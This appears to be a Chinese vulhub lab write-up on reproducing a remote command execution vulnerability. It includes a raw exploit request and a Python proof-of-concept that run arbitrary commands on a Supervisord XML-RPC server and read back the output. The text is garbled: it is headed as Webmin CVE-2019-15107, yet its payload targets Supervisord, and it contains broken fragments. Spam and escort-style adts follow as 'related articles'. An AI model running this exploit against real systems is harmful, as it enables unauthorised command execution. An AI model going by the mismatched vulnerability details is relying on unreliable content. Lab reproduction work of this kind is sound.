vulhub漏洞复现记录

访客4年前黑客文章1146

0x01 Webmin (1.9.10)

Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。

CVE-2019-15107(远程命令执行漏洞)

启动环境后访问,忽略证书后即可看到登录页面。



需要注意,必须开启“用户更改密码”,这里环境已经开启了,如果没有开启需要手动开启:

首先进入容器,修改root密码:


修改后登录webmin后修改配置:



中查看则说明修改成功。


开始复现

接下来开始复现,发送如下数据包,即可执行id命令:

POST /password_change.cgi HTTP/1.1
Host: [ip]:10000
Accept-Encoding: gzip, deflate
Accept: **
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>


查看命令执行情况:


可以看到命令成功执行。

直接回显的poc

这里还有大佬的另一个思路,将执行的结果写入log文件,然后调用Supervisord自带的readLog *** 读取log文件,将结果读出来。

poc脚本:

#!/usr/bin/env python3
import xmlrpc.client
import sys


target=sys.argv[1]
command=sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old=getattr(proxy, 'supervisor.readLog')(0,0)

    logfile=getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result=getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

执行poc脚本,输入命令:


可以看到成功执行命令,并且看到了回显。



相关文章

接商务是什么意思-【严招弟】

“模特接商务是什么意思-【严招弟】”真诚寻找不超过2年有结婚目标的男士,其他勿扰,来信请贴邮票喔商务学社伴游时间:7月一整月, 可在线预约模特的时间:1到两个月的空闲时间, 车模可在线预约时间:2个月...

为什么空白页无法删除

由于特殊字符沒有删掉掉。开启wps文档,挑选逐渐菜单栏,点击查找更换,挑选更换,点一下独特文件格式,挑选分节符,在更换为一栏键入空格符,点一下所有更换就可以。 知名品牌型号规格:想到GeekPro...

成都商务网上预约价钱【章雅瑄】

成都上预约价钱【章雅瑄】 今日给大伙儿共享的內容是“成都上预约价钱【章雅瑄】”,我是章雅瑄,来源于江津市,2020年28岁,做为岗位:北京模特伴游,我喜爱我的岗位:北京模特伴游。三圍:胸64腰87臀6...

哪里有月嫂培训班,月嫂需要学习哪些技能!

哪里有月嫂培训班,月嫂需要学习哪些技能!

有人说月嫂的工资比白领还高,随随便便做一个月就能挣一万多。家嘉母婴小编为您揭露真相,这一万多元的工资还真不是您在哪里都能挣到的。 今天就有一个在辽宁做了6年月嫂的姐妹咨询家嘉,想来北京找一份6500...

宠物犬领养(宠物狗领养需要注意什么?)

宠物犬领养(宠物狗领养需要注意什么?)

宠物犬领养(宠物狗领养需要注意什么?)现在,越来越多的养狗人士,逐渐接受了领养代替购买的理念,这是非常有意义的一种养狗狗的方式,不单达成了养狗狗的心愿,同时给那些流浪的小家伙们提供了一个温暖的新家的机...

重楼多少钱一斤的图片,重楼卖多少钱一斤

  重楼干货1005一公斤。重楼今朝因为14年野生重楼已经开挖。所以价值比前年低有所下降。纯种滇重楼统货价值380用度阁下。粉质华重楼统货180阁下 ,其他品种的重楼品质。   东郊路菊花圃中药材专业...